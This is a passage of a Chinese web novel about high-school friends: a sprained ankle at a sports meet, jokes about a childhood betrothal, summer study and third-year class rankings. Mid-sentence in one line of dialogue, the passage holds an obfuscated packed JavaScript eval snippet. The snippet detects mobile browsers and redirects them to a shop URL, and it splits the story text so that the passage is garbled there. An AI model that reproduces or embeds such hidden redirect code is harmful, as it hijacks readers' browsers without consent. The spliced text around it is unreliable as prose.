他掀开校服外套,就见陈一衡欲言又止地站在外面,一手打伞,一手拿着一包冰块,眼神落在叶吟胸前的“铜狗牌”上。 叶吟接过冰袋:“多谢。” ——她脚踝肿得像个馒头。 杨星这才看见,一愣,表情严肃起来:“这怎么搞的?” 叶吟淡定地说:“这是我跳高的奖牌。” 杨星低头:“我看看。” 没等叶吟拒绝,他伸手碰了碰那发红肿高的组织,又轻轻捏了捏肿块边缘:“崴着了,不去医务室?” 叶吟眼皮微跳,下意识缩了回来:“不至于去医务室,但我感觉,这个伤可以请一个星期的跑操假了。” 三中的跑操每天都有,上午大课间,一次两圈。任务不重,但跑操总是让人想死的,叶吟挺高兴,又有借口逃跑操了。 杨星还有点担心的样子,叶吟干脆说:“陈一衡都帮我拿冰块了,我敷一会儿就行。” 陈一衡默默开口:“杨同学应该还有别的项目吧?” 她是看到了叶吟的脚,悄没声地拿了冰块回来,也不邀功,好像一切都是她该做的一样。 相比之下杨星就落了下风,他想了想:“崴脚要抬高,要不你把脚抬起来?。” 叶吟:“……在这?观战席?把脚,抬到心脏以上?嗯?” 本回合,陈一衡大获全胜。 等杨星走后,陈一衡有点犹豫地说:“叶吟,你跟杨星关系真好啊。” 叶吟点点头:“发小嘛,怎么了” 陈一衡组织语言:“有人说你们俩的闲话,虽然很少啦,但我总觉得,可能、或许,男女同学之间还是应该保持些距离?我没有别的意思……” 说闲话? 这在叶吟透明人的人生里可不多见。 叶吟有点来了兴趣:“他们怎么说的?说我们俩谈恋爱吗?” 陈一衡:“说你们小时候定的娃娃亲。” 叶吟没憋住笑:“哈哈哈哈哈哈哈哈!” 11. 第 11 章 叶吟把陈一衡的话当乐子转达了杨星。 此人因为担心叶吟的馒头脚,想着他们一起住校顺路,主动承担起了扶伤病号上下学的任务。 杨星也一愣,不可置信地说:“娃娃亲?你和我?” 他第一反应是,这也太冒犯了,但转念一想又感觉……诶,不敢感觉了。 杨星清了清嗓子:“那个,别的不说,我妈应该会很高兴。” 叶吟顺着想了想,无可无不可地笑了下。 她一只手搭在杨星手臂上,像娘娘搭着她的大太监。 第一天的时候,叶吟还感觉有点奇怪,而且自从两人开始避免肢体接触后,这种贴贴着实属于踩着他们的神经跳舞。 不知道杨星怎么想的,反正叶吟不想跳着脚上下学,所以她到底是默许了,且作为感谢,在脚踝彻底康复后请杨星吃了顿自助。 陈一衡试图争夺此任务,因身高问题惜败,最后获得了另一个任务:“帮叶吟带饭。” 叶吟生怕她为了给她带面条吃一星期面:“一天米饭一天面?” 陈一衡忍俊不禁,认真答:“一天米饭一天面。” * 从春天转到夏天,嘈杂蝉鸣又开始骚扰人类耳朵。 高考那几天,高一高二要腾出教室当考场,叶吟从自己桌洞最里面翻出了高二刚开始的时候,杨星给xx的叶吟写的那封两块五。 回家的路上,他们站在地铁里跟着车厢晃来晃去。叶吟从兜里掏出那张信封:“暑假过去就是高三了,写了两年,明年还写吗?星哥对叉叉的叶吟真是长情啊。” 杨星“哟”了一声:“你想要吗?小卖部又涨价,现在得三块了吧。” 叶吟抖了抖信封:“不是,这个东西?你问我想不想要?” 杨星挑眉,坏坏地说:“高中两年,叶同学凭实力保持潜水状态,应该是没收过情书吧。” 叶吟不为所动,淡定道:“除去你这个叉叉的叶吟,那些不都是给叶吟的?倒是你,杨同学,运动会结束你班啦啦队有没有给你跳个舞庆祝?” 杨星像是想起了什么不堪回首的体验,脸色一变,活像是吃了苍蝇:“别提了,铜牌算班级积分,还真有,啦啦队长一米九,他把我当钢管跳了段钢管舞。” 叶吟:画面太美我不敢想。 你来我往几句,争不出个结果,但气氛似乎越来越古怪,杨星抓着扶手的掌心出了点汗。 情书这事儿从一开始就是稀里糊涂,也不知道扯到这里的两人为什么会生出胜负欲。 叶吟主动换了个话题:“李校花快回来了吧?又是一个学期没见了。” 他们这个五排团体因为李校花的缺席和叶吟的学习劲头大爆发,整个高二下学期游戏频率大幅下降。 叶吟翻出手机慰问了一下集训的可怜孩子,没想到群里是李沫回的消息。 “明天她们就开始放假了。” 杨星抛下那点莫名其妙的情绪,打字问:“你咋知道的?” 李沫:“之前校花说机构有点乱,我跟家里人提了一嘴,结果教培领域我爸好像也有投资,不知道怎么搞的,反正现在就是在那个连锁机构有了点话语权。” 刘胖幽幽地感慨:“这就是资本的力量吗?” 李沫连忙解释:“不至于哈。” 叶吟放下手机跟杨星说:“李沫这个学期有时候已经不来上学了,之前只是不来上自习,现在是课都不听了。” 杨星说:“毕竟要出国,国内的高考成绩应该没什么用吧?他只要合格考通过毕业了就行。” 小伙伴们各有各的发展,叶吟突然有种分别近在咫尺的感觉。 这还没高三呢,就已经在考虑毕业的事情了。她笑自己想太多,看了眼杨星,竟然也是有些沉默凝重的表情。 “你以后准备去哪?”叶吟问。 “我家你知道的,没啥特别安排,能考到哪算哪呗。我也没什么高校情怀,不管去哪都是再混四年。” 叶吟说:“我是真有点想去做游戏。报志愿的时候看看吧,可能专业和院校都会往这方面靠。” 杨星:“那我就去学传媒,然后你做完游戏找我,我给你们投广告。” 叶吟:“得,一条龙了。” 期末成绩下来,叶吟考到了高中最好成绩,赋分后班级第十二。 叶父叶母作为奖励,又给叶吟发了两千奖金。叶吟看着账户余额里多出来的数字,也没跟他们客气。二老要爱没有,经济上是真没短她的。 李校花果然如期到位。 “谢谢李少爷,这个学期机构整顿,风气好了不少,除了还是要上交手机……就不能让机构老师直接把这条也去掉?” 李沫大家长附体:“你要是拿着手机少不了玩游戏不好好训练。” 李校花罕见吃瘪,无力地申辩:“我不会的……” 刘胖:“李大少爷之前有好长时间没来上学,干啥去了是?” 李沫:“去看了一圈国外的学校,顺便旅游了。” 另外四人:……这才是生活啊! 杨星:“不说了,上号孩子们,我的长刀已经饥渴难耐了。” 游戏开始,杨星在语音问:“假期学校组织自习,你去吗?” 叶吟:“包去的,你不去?” 杨星沉默了一下:“本来不想去的,但你这么一说,感觉不去不行了。” 叶吟:“我是鲶鱼嘛。” 刘胖:“什么鲶鱼?红烧鲶鱼?” 卷子跟雪花一样发下来,草稿纸跟雪花一样飞走。整个暑假里,教室里的空调整日开着,食堂却因为假期学生变少关了一个。 小黄鸭学姐在朋友圈晒了高考成绩,考得相当不错,四个人轮流瞻仰了一下,李校花特别虔诚地评论:“跪着接,我只要这个数2/3就行。” 高三,艺术生的集训和文化课要掺着来,她有些担心自己跟不上,但从没在小伙伴面前流露出来,只发了两次牢骚说果然演员当不了物理学家。 学姐回复她:“你肯定没问题[大笑]。” 叶吟在日记里写今日阴晴,吐槽学校的印刷太费眼,说时间跟一只巨大的蜗牛一样走得好慢好慢,结果过一阵子回头看,又说觉得日子长腿、跑得飞快。 日记本越写越厚,像是把透明的时光萃成墨色,文字落在纸面上,每一笔都是人的足迹。 高三开学之前,杨星说:“现在我们是学校的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568360|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了。” “反了你了,”叶吟说,“你明天就上课拿着手机玩,怼到老师眼皮子底下,看看你跟教导主任谁是老大。” 刘胖:“别提了,我班有位神人,一个学期被收了三部手机,到学期末才拿回去,结果暑假自习又被收了。” 杨星:“那很有实力了,我们班有上交柜台摆的那种假样机的,结果被发现了,班主任直接一个电话打回家,问他妈妈他手机什么型号的。” 叶吟心说,高一李沫就未卜先知地买备用机玩了,还是旗舰机,表面淡淡摇头:“高三了,少玩点吧。” 刘胖认真脸:“姐,你本来是我们中玩的最多的,现在你已经是最少的了。” 李沫也不来学校了,如果他在,肯定也会狠狠附和刘胖的发言。 开学摸底测,叶吟班级第八名。 老班给同学们开了个简短的班会,点名表扬了一学期进步超大的叶吟。 “去年家长会进步之星漏掉了叶吟,今天拿着咱们班的成绩单比较了一下,叶吟是进步最稳定也是最大的。” 齐刷刷的目光投来,叶吟不自觉地挺了挺腰。被老师漏掉的时候她没觉得怎么样,结果现在是真如芒刺背了。 “我们大家要向她学习。”再苛刻的老班也会对学习进步的孩子和颜悦色,叶吟感觉有点受宠若惊。 陈一衡带头鼓掌,把手都拍红了,叶吟跟她隔着几个座位对视,后者比口型:“太棒了!” 老班顺势邀请叶吟分享一下学习经验。 叶吟:……我? 她颤颤巍巍地站起来,顺拐地走上讲台,一时不知道该从哪里说起。 老班问:“你是从哪里开始决定好好学习的呢?” 叶吟:“从交了一个学霸朋友开始……就像往沙丁鱼群里引入了鲶鱼,然后肉质就会变得紧致Q弹。” 同学们发出善意的笑声,老师却不满意,问:“你有什么内在的动力吗?” 叶吟不确定地说:“……对游戏的热爱?” 她被赶下了台,老班点了第一名上去讲场面话,叶吟反思了一下自己,她想:“确实是这样的哇。” 不过说到朋友,杨星也居功至伟。从小麦果汁围堵二老那一次开始,叶吟感觉自己确实发生了一些变化。 她认真地考虑了自己的愿望和爱好,发现事情并没有想象中那么难,透明人光环是生活的一部分,但到现在,它已经无法再让她怨天尤人。 只是叶吟还是希望有个机会,让她做出点什么来,证明自己的意义并非一个透明的泡泡。 在此之前,她会默默积淀,直到那个豁然开朗的时刻,有足够多的准备应对。 几天后,正巧李校花在学校,刘胖找到了叶吟和杨星,拿出一张熟悉的黑白宣传单:“朋友们,第二届三中农药争霸赛。” 杨星表情严肃:“我得说一句,学习状态出了就不好进,我们已经高三了。” 李校花算着时间:“十月一……我倒是集训放假。” 刘胖表情有些神秘:“这次我们除了参赛还有另一个选择。” 叶吟想的很快:“该不会被邀请做裁判了吧?” 刘胖大惊:“你怎么知道!”